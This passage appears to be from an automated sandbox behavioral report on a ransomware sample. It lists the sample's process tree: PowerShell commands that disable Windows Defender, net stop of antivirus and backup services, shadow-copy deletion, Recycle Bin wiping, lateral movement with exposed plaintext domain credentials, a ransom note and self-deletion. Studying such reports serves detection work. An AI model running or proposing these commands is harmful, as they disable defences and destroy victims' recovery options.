powershell.exe Token: 33 2088 powershell.exe Token: 34 2088 powershell.exe Token: 35 2088 powershell.exe Token: 36 2088 powershell.exe Token: SeDebugPrivilege 2200 powershell.exe Token: SeDebugPrivilege 1236 powershell.exe Token: SeIncreaseQuotaPrivilege 2652 powershell.exe Token: SeSecurityPrivilege 2652 powershell.exe Token: SeTakeOwnershipPrivilege 2652 powershell.exe Token: SeLoadDriverPrivilege 2652 powershell.exe Token: SeSystemProfilePrivilege 2652 powershell.exe Token: SeSystemtimePrivilege 2652 powershell.exe Token: SeProfSingleProcessPrivilege 2652 powershell.exe Token: SeIncBasePriorityPrivilege 2652 powershell.exe Token: SeCreatePagefilePrivilege 2652 powershell.exe Token: SeBackupPrivilege 2652 powershell.exe Token: SeRestorePrivilege 2652 powershell.exe Token: SeShutdownPrivilege 2652 powershell.exe Token: SeDebugPrivilege 2652 powershell.exe Token: SeSystemEnvironmentPrivilege 2652 powershell.exe Token: SeRemoteShutdownPrivilege 2652 powershell.exe Token: SeUndockPrivilege 2652 powershell.exe Token: SeManageVolumePrivilege 2652 powershell.exe Token: 33 2652 powershell.exe Token: 34 2652 powershell.exe Token: 35 2652 powershell.exe Token: 36 2652 powershell.exe Token: SeIncreaseQuotaPrivilege 1668 powershell.exe Token: SeSecurityPrivilege 1668 powershell.exe Token: SeTakeOwnershipPrivilege 1668 powershell.exe Token: SeLoadDriverPrivilege 1668 powershell.exe Token: SeSystemProfilePrivilege 1668 powershell.exe Token: SeSystemtimePrivilege 1668 powershell.exe Token: SeProfSingleProcessPrivilege 1668 powershell.exe Token: SeIncBasePriorityPrivilege 1668 powershell.exe Token: SeCreatePagefilePrivilege 1668 powershell.exe Token: SeBackupPrivilege 1668 powershell.exe Token: SeRestorePrivilege 1668 powershell.exe Token: SeShutdownPrivilege 1668 powershell.exe Token: SeDebugPrivilege 1668 powershell.exe Token: SeSystemEnvironmentPrivilege 1668 powershell.exe Token: SeRemoteShutdownPrivilege 1668 powershell.exe Token: SeUndockPrivilege 1668 powershell.exe Token: SeManageVolumePrivilege 1668 powershell.exe Token: 33 1668 powershell.exe Token: 34 1668 powershell.exe Token: 35 1668 powershell.exe Token: 36 1668 powershell.exe Token: SeIncreaseQuotaPrivilege 3060 powershell.exe Token: SeSecurityPrivilege 3060 powershell.exe Token: SeTakeOwnershipPrivilege 3060 powershell.exe Token: SeLoadDriverPrivilege 3060 powershell.exe Token: SeSystemProfilePrivilege 3060 powershell.exe Token: SeSystemtimePrivilege 3060 powershell.exe Token: SeProfSingleProcessPrivilege 3060 powershell.exe Token: SeIncBasePriorityPrivilege 3060 powershell.exe Token: SeCreatePagefilePrivilege 3060 powershell.exe Token: SeBackupPrivilege 3060 powershell.exe Token: SeRestorePrivilege 3060 powershell.exe Token: SeShutdownPrivilege 3060 powershell.exe Token: SeDebugPrivilege 3060 powershell.exe Token: SeSystemEnvironmentPrivilege 3060 powershell.exe Token: SeRemoteShutdownPrivilege 3060 powershell.exe Token: SeUndockPrivilege 3060 powershell.exe Token: SeManageVolumePrivilege 3060 powershell.exe Token: 33 3060 powershell.exe Token: 34 3060 powershell.exe Token: 35 3060 powershell.exe Token: 36 3060 powershell.exe Token: SeDebugPrivilege 1748 powershell.exe Token: SeIncreaseQuotaPrivilege 3096 powershell.exe Token: SeSecurityPrivilege 3096 powershell.exe Token: SeTakeOwnershipPrivilege 3096 powershell.exe Token: SeLoadDriverPrivilege 3096 powershell.exe Token: SeSystemProfilePrivilege 3096 powershell.exe Token: SeSystemtimePrivilege 3096 powershell.exe Token: SeProfSingleProcessPrivilege 3096 powershell.exe Token: SeIncBasePriorityPrivilege 3096 powershell.exe Token: SeCreatePagefilePrivilege 3096 powershell.exe Token: SeBackupPrivilege 3096 powershell.exe Token: SeRestorePrivilege 3096 powershell.exe Token: SeShutdownPrivilege 3096 powershell.exe Token: SeDebugPrivilege 3096 powershell.exe Token: SeSystemEnvironmentPrivilege 3096 powershell.exe Token: SeRemoteShutdownPrivilege 3096 powershell.exe Token: SeUndockPrivilege 3096 powershell.exe Token: SeManageVolumePrivilege 3096 powershell.exe Token: 33 3096 powershell.exe Token: 34 3096 powershell.exe Token: 35 3096 powershell.exe Token: 36 3096 powershell.exe Token: SeDebugPrivilege 4180 powershell.exe Token: SeDebugPrivilege 4304 powershell.exe Token: SeIncreaseQuotaPrivilege 2004 powershell.exe Token: SeSecurityPrivilege 2004 powershell.exe Token: SeTakeOwnershipPrivilege 2004 powershell.exe Token: SeLoadDriverPrivilege 2004 powershell.exe Token: SeSystemProfilePrivilege 2004 powershell.exe Token: SeSystemtimePrivilege 2004 powershell.exe Token: SeProfSingleProcessPrivilege 2004 powershell.exe Token: SeIncBasePriorityPrivilege 2004 powershell.exe Token: SeCreatePagefilePrivilege 2004 powershell.exe Token: SeBackupPrivilege 2004 powershell.exe Token: SeRestorePrivilege 2004 powershell.exe Token: SeShutdownPrivilege 2004 powershell.exe Token: SeDebugPrivilege 2004 powershell.exe Token: SeSystemEnvironmentPrivilege 2004 powershell.exe Token: SeRemoteShutdownPrivilege 2004 powershell.exe Token: SeUndockPrivilege 2004 powershell.exe Token: SeManageVolumePrivilege 2004 powershell.exe Token: 33 2004 powershell.exe Token: 34 2004 powershell.exe Token: 35 2004 powershell.exe Token: 36 2004 powershell.exe Token: SeIncreaseQuotaPrivilege 2200 powershell.exe Token: SeSecurityPrivilege 2200 powershell.exe Token: SeTakeOwnershipPrivilege 2200 powershell.exe Token: SeLoadDriverPrivilege 2200 powershell.exe Token: SeSystemProfilePrivilege 2200 powershell.exe Token: SeSystemtimePrivilege 2200 powershell.exe Token: SeProfSingleProcessPrivilege 2200 powershell.exe Token: SeIncBasePriorityPrivilege 2200 powershell.exe Token: SeCreatePagefilePrivilege 2200 powershell.exe Token: SeBackupPrivilege 2200 powershell.exe Token: SeRestorePrivilege 2200 powershell.exe Token: SeShutdownPrivilege 2200 powershell.exe Token: SeDebugPrivilege 2200 powershell.exe Token: SeSystemEnvironmentPrivilege 2200 powershell.exe Token: SeRemoteShutdownPrivilege 2200 powershell.exe Token: SeUndockPrivilege 2200 powershell.exe Token: SeManageVolumePrivilege 2200 powershell.exe Token: 33 2200 powershell.exe Token: 34 2200 powershell.exe Token: 35 2200 powershell.exe Token: 36 2200 powershell.exe Token: SeIncreaseQuotaPrivilege 1236 powershell.exe Token: SeSecurityPrivilege 1236 powershell.exe Token: SeTakeOwnershipPrivilege 1236 powershell.exe Token: SeLoadDriverPrivilege 1236 powershell.exe Token: SeSystemProfilePrivilege 1236 powershell.exe Token: SeSystemtimePrivilege 1236 powershell.exe Token: SeProfSingleProcessPrivilege 1236 powershell.exe Token: SeIncBasePriorityPrivilege 1236 powershell.exe Token: SeCreatePagefilePrivilege 1236 powershell.exe Token: SeBackupPrivilege 1236 powershell.exe Token: SeRestorePrivilege 1236 powershell.exe Token: SeShutdownPrivilege 1236 powershell.exe Token: SeDebugPrivilege 1236 powershell.exe Token: SeSystemEnvironmentPrivilege 1236 powershell.exe Token: SeRemoteShutdownPrivilege 1236 powershell.exe Token: SeUndockPrivilege 1236 powershell.exe Token: SeManageVolumePrivilege 1236 powershell.exe Token: 33 1236 powershell.exe Token: 34 1236 powershell.exe Token: 35 1236 powershell.exe Token: 36 1236 powershell.exe Token: SeIncreaseQuotaPrivilege 1748 powershell.exe Token: SeSecurityPrivilege 1748 powershell.exe Token: SeTakeOwnershipPrivilege 1748 powershell.exe Token: SeLoadDriverPrivilege 1748 powershell.exe Token: SeSystemProfilePrivilege 1748 powershell.exe Token: SeSystemtimePrivilege 1748 powershell.exe Token: SeProfSingleProcessPrivilege 1748 powershell.exe Token: SeIncBasePriorityPrivilege 1748 powershell.exe Token: SeCreatePagefilePrivilege 1748 powershell.exe Token: SeBackupPrivilege 1748 powershell.exe Token: SeRestorePrivilege 1748 powershell.exe Token: SeShutdownPrivilege 1748 powershell.exe Token: SeDebugPrivilege 1748 powershell.exe Token: SeSystemEnvironmentPrivilege 1748 powershell.exe Token: SeRemoteShutdownPrivilege 1748 powershell.exe Token: SeUndockPrivilege 1748 powershell.exe Token: SeManageVolumePrivilege 1748 powershell.exe Token: 33 1748 powershell.exe Token: 34 1748 powershell.exe Token: 35 1748 powershell.exe Token: 36 1748 powershell.exe Token: SeIncreaseQuotaPrivilege 4180 powershell.exe Token: SeSecurityPrivilege 4180 powershell.exe Token: SeTakeOwnershipPrivilege 4180 powershell.exe Token: SeLoadDriverPrivilege 4180 powershell.exe Token: SeSystemProfilePrivilege 4180 powershell.exe Token: SeSystemtimePrivilege 4180 powershell.exe Token: SeProfSingleProcessPrivilege 4180 powershell.exe Token: SeIncBasePriorityPrivilege 4180 powershell.exe Token: SeCreatePagefilePrivilege 4180 powershell.exe Token: SeBackupPrivilege 4180 powershell.exe Token: SeRestorePrivilege 4180 powershell.exe Token: SeShutdownPrivilege 4180 powershell.exe Token: SeDebugPrivilege 4180 powershell.exe Token: SeSystemEnvironmentPrivilege 4180 powershell.exe Token: SeRemoteShutdownPrivilege 4180 powershell.exe Token: SeUndockPrivilege 4180 powershell.exe Token: SeManageVolumePrivilege 4180 powershell.exe Token: 33 4180 powershell.exe Token: 34 4180 powershell.exe Token: 35 4180 powershell.exe Token: 36 4180 powershell.exe Token: SeIncreaseQuotaPrivilege 4304 powershell.exe Token: SeSecurityPrivilege 4304 powershell.exe Token: SeTakeOwnershipPrivilege 4304 powershell.exe Token: SeLoadDriverPrivilege 4304 powershell.exe Token: SeSystemProfilePrivilege 4304 powershell.exe Token: SeSystemtimePrivilege 4304 powershell.exe Token: SeProfSingleProcessPrivilege 4304 powershell.exe Token: SeIncBasePriorityPrivilege 4304 powershell.exe Token: SeCreatePagefilePrivilege 4304 powershell.exe Token: SeBackupPrivilege 4304 powershell.exe Token: SeRestorePrivilege 4304 powershell.exe Token: SeShutdownPrivilege 4304 powershell.exe Token: SeDebugPrivilege 4304 powershell.exe Token: SeSystemEnvironmentPrivilege 4304 powershell.exe Token: SeRemoteShutdownPrivilege 4304 powershell.exe Token: SeUndockPrivilege 4304 powershell.exe Token: SeManageVolumePrivilege 4304 powershell.exe Token: 33 4304 powershell.exe Token: 34 4304 powershell.exe Token: 35 4304 powershell.exe Token: 36 4304 powershell.exe Token: SeDebugPrivilege 4240 taskkill.exe Token: SeDebugPrivilege 3872 taskkill.exe Token: SeDebugPrivilege 5260 taskkill.exe Token: SeBackupPrivilege 5292 vssvc.exe Token: SeRestorePrivilege 5292 vssvc.exe Token: SeAuditPrivilege 5292 vssvc.exe Token: SeAssignPrimaryTokenPrivilege 3796 gvx4wrbz.exe Token: SeIncreaseQuotaPrivilege 3796 gvx4wrbz.exe Token: SeImpersonatePrivilege 3796 gvx4wrbz.exe - Suspicious use of SendNotifyMessage 3 IoCs
pid Process 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe - Kills process with taskkill 3 IoCs
pid Process 3872 taskkill.exe 4240 taskkill.exe 5260 taskkill.exe - Runs ping.exe 1 TTPs 1 IoCs
pid Process 2820 PING.EXE - Launches sc.exe
Sc.exe is a Windows utlilty to control services on the system.
- Runs net.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\safeboot network ransomware.exe"C:\Users\Admin\AppData\Local\Temp\safeboot network ransomware.exe"1⤵
- Suspicious use of FindShellTrayWindow
- Drops startup file
- Modifies WinLogon
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
- Modifies Windows Defender Real-time Protection settings
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SendNotifyMessage
PID:2536 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" Get-MpPreference -verbose2⤵
- Suspicious use of AdjustPrivilegeToken
PID:652
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableArchiveScanning $true2⤵
- Suspicious use of AdjustPrivilegeToken
PID:1732
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableBlockAtFirstSeen $true2⤵
- Suspicious use of AdjustPrivilegeToken
PID:1668
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableIOAVProtection $true2⤵
- Suspicious use of AdjustPrivilegeToken
PID:2088
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisablePrivacyMode $true2⤵
- Suspicious use of AdjustPrivilegeToken
PID:2652
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableScriptScanning $true2⤵
- Suspicious use of AdjustPrivilegeToken
PID:3060
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -HighThreatDefaultAction 6 -Force2⤵
- Suspicious use of AdjustPrivilegeToken
PID:2004
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -LowThreatDefaultAction 62⤵
- Suspicious use of AdjustPrivilegeToken
PID:3096
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -MAPSReporting 02⤵PID:2200
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -ModerateThreatDefaultAction 62⤵PID:1236
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -SevereThreatDefaultAction 62⤵PID:1748
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -SignatureDisableUpdateOnStartupWithoutEngine $true2⤵PID:4180
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -SubmitSamplesConsent 22⤵PID:4304
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" stop avpsus /y2⤵
- Suspicious use of WriteProcessMemory
PID:4356 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop avpsus /y3⤵PID:4752
-
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" stop McAfeeDLPAgentService /y2⤵
- Suspicious use of WriteProcessMemory
PID:4368 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop McAfeeDLPAgentService /y3⤵PID:4780
-
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" stop mfewc /y2⤵
- Suspicious use of WriteProcessMemory
PID:4396 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop mfewc /y3⤵PID:4868
-
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" stop BMR Boot Service /y2⤵
- Suspicious use of WriteProcessMemory
PID:4428 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop BMR Boot Service /y3⤵PID:4924
-
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" stop NetBackup BMR MTFTP Service /y2⤵PID:4468
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop NetBackup BMR MTFTP Service /y3⤵PID:5000
-
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" stop DefWatch /y2⤵PID:4528
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop DefWatch /y3⤵PID:5008
-
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" stop ccEvtMgr /y2⤵PID:4568
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop ccEvtMgr /y3⤵PID:5060
-
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" stop ccSetMgr /y2⤵PID:4612
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop ccSetMgr /y3⤵PID:4200
-
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" stop SavRoam /y2⤵PID:4656
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop SavRoam /y3⤵PID:4364
-
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" stop RTVscan /y2⤵PID:4688
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop RTVscan /y3⤵PID:4564
-
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" stop QBFCService /y2⤵PID:4724
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop QBFCService /y3⤵PID:2180
-
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" stop QBIDPService /y2⤵PID:4796
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop QBIDPService /y3⤵PID:4996
-
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" stop Intuit.QuickBooks.FCS /y2⤵PID:4828
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop Intuit.QuickBooks.FCS /y3⤵PID:5132
-
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" stop QBCFMonitorService /y2⤵PID:4896
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop QBCFMonitorService /y3⤵PID:5284
-
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" stop YooBackup /y2⤵PID:4948
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop YooBackup /y3⤵PID:5324
-
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" stop YooIT /y2⤵PID:5028
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop YooIT /y3⤵PID:5404
-
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" stop zhudongfangyu /y2⤵PID:5108
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop zhudongfangyu /y3⤵PID:5448
-
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" stop stc_raw_agent /y2⤵PID:2988
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop stc_raw_agent /y3⤵PID:5508
-
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" stop VSNAPVSS /y2⤵PID:3636
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop VSNAPVSS /y3⤵PID:5576
-
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" stop VeeamTransportSvc /y2⤵PID:4760
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop VeeamTransportSvc /y3⤵PID:5608
-
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" stop VeeamDeploymentService /y2⤵PID:5016
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop VeeamDeploymentService /y3⤵PID:5708
-
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" stop VeeamNFSSvc /y2⤵PID:4824
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop VeeamNFSSvc /y3⤵PID:5720
-
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" stop veeam /y2⤵PID:5176
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop veeam /y3⤵PID:5876
-
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" stop PDVFSService /y2⤵PID:5248
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop PDVFSService /y3⤵PID:5940
-
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" stop BackupExecVSSProvider /y2⤵PID:5336
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop BackupExecVSSProvider /y3⤵PID:5980
-
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" stop BackupExecAgentAccelerator /y2⤵PID:5384
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop BackupExecAgentAccelerator /y3⤵PID:6068
-
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" stop BackupExecAgentBrowser /y2⤵PID:5468
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop BackupExecAgentBrowser /y3⤵PID:6116
-
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" stop BackupExecDiveciMediaService /y2⤵PID:5520
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop BackupExecDiveciMediaService /y3⤵PID:1128
-
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" stop BackupExecJobEngine /y2⤵PID:5560
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop BackupExecJobEngine /y3⤵PID:4472
-
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" stop BackupExecManagementService /y2⤵PID:5640
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop BackupExecManagementService /y3⤵PID:4584
-
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" stop BackupExecRPCService /y2⤵PID:5684
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop BackupExecRPCService /y3⤵PID:5748
-
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" stop AcrSch2Svc /y2⤵PID:5764
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop AcrSch2Svc /y3⤵PID:4924
-
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" stop AcronisAgent /y2⤵PID:5828
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop AcronisAgent /y3⤵PID:4556
-
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" stop CASAD2DWebSvc /y2⤵PID:5900
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop CASAD2DWebSvc /y3⤵PID:4812
-
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" stop CAARCUpdateSvc /y2⤵PID:5968
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop CAARCUpdateSvc /y3⤵PID:5124
-
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" stop sophos /y2⤵PID:6028
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop sophos /y3⤵PID:5816
-
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" config SQLTELEMETRY start= disabled2⤵PID:6084
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" config SQLTELEMETRY$ECWDB2 start= disabled2⤵PID:5184
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" config SQLWriter start= disabled2⤵PID:5864
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" config SstpSvc start= disabled2⤵PID:4436
-
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM mspub.exe /F2⤵
- Kills process with taskkill
PID:3872
-
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM mydesktopqos.exe /F2⤵
- Kills process with taskkill
PID:4240
-
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM mydesktopservice.exe /F2⤵
- Kills process with taskkill
PID:5260
-
-
C:\Windows\SYSTEM32\vssadmin.exe"vssadmin.exe" Delete Shadows /all /quiet2⤵
- Interacts with shadow copies
PID:4324
-
-
C:\Windows\SYSTEM32\vssadmin.exe"vssadmin.exe" resize shadowstorage /for=c: /on=c: /maxsize=401MB2⤵
- Interacts with shadow copies
PID:4848
-
-
C:\Windows\SYSTEM32\vssadmin.exe"vssadmin.exe" resize shadowstorage /for=c: /on=c: /maxsize=unbounded2⤵
- Interacts with shadow copies
PID:4640
-
-
C:\Windows\SYSTEM32\vssadmin.exe"vssadmin.exe" resize shadowstorage /for=d: /on=d: /maxsize=401MB2⤵
- Interacts with shadow copies
PID:4896
-
-
C:\Windows\SYSTEM32\vssadmin.exe"vssadmin.exe" resize shadowstorage /for=d: /on=d: /maxsize=unbounded2⤵
- Interacts with shadow copies
PID:4452
-
-
C:\Windows\SYSTEM32\vssadmin.exe"vssadmin.exe" resize shadowstorage /for=e: /on=e: /maxsize=401MB2⤵
- Interacts with shadow copies
PID:4628
-
-
C:\Windows\SYSTEM32\vssadmin.exe"vssadmin.exe" resize shadowstorage /for=e: /on=e: /maxsize=unbounded2⤵
- Interacts with shadow copies
PID:6040
-
-
C:\Windows\SYSTEM32\vssadmin.exe"vssadmin.exe" resize shadowstorage /for=f: /on=f: /maxsize=401MB2⤵
- Interacts with shadow copies
PID:4792
-
-
C:\Windows\SYSTEM32\vssadmin.exe"vssadmin.exe" resize shadowstorage /for=f: /on=f: /maxsize=unbounded2⤵
- Interacts with shadow copies
PID:4808
-
-
C:\Windows\SYSTEM32\vssadmin.exe"vssadmin.exe" resize shadowstorage /for=g: /on=g: /maxsize=401MB2⤵
- Interacts with shadow copies
PID:4856
-
-
C:\Windows\SYSTEM32\vssadmin.exe"vssadmin.exe" resize shadowstorage /for=g: /on=g: /maxsize=unbounded2⤵
- Interacts with shadow copies
PID:4836
-
-
C:\Windows\SYSTEM32\vssadmin.exe"vssadmin.exe" resize shadowstorage /for=h: /on=h: /maxsize=401MB2⤵
- Interacts with shadow copies
PID:5376
-
-
C:\Windows\SYSTEM32\vssadmin.exe"vssadmin.exe" resize shadowstorage /for=h: /on=h: /maxsize=unbounded2⤵
- Interacts with shadow copies
PID:4576
-
-
C:\Windows\SYSTEM32\vssadmin.exe"vssadmin.exe" Delete Shadows /all /quiet2⤵
- Interacts with shadow copies
PID:4932
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c rd /s /q %SYSTEMDRIVE%\$Recycle.bin2⤵PID:5164
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" use \\10.10.0.26 /USER:SHJPOLICE\amer !Omar20122⤵PID:5584
-
-
C:\Users\Admin\AppData\Local\Temp\gvx4wrbz.exe"C:\Users\Admin\AppData\Local\Temp\gvx4wrbz.exe" \10.10.0.26 -u SHJPOLICE\amer -p !Omar2012 -d -f -h -s -n 2 -c C:\Users\Admin\AppData\Local\Temp\safeboot network ransomware.exe2⤵
- Executes dropped EXE
PID:3796
-
-
C:\Windows\SYSTEM32\arp.exe"arp" -a2⤵PID:2776
-
-
C:\Windows\System32\mshta.exe"C:\Windows\System32\mshta.exe" C:\Users\Admin\Desktop\HOW_TO_DECYPHER_FILES.hta2⤵
- Blacklisted process makes network request
PID:4868
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /C ping 127.0.0.7 -n 3 > Nul & fsutil file setZeroData offset=0 length=524288 “%s” & Del /f /q “%s”2⤵PID:4196
-
C:\Windows\system32\PING.EXEping 127.0.0.7 -n 33⤵
- Runs ping.exe
PID:2820
-
-
C:\Windows\system32\fsutil.exefsutil file setZeroData offset=0 length=524288 “%s”3⤵PID:2784
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" "/C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\safeboot network ransomware.exe2⤵PID:2592
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:3964
-
-
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Modifies service
PID:5292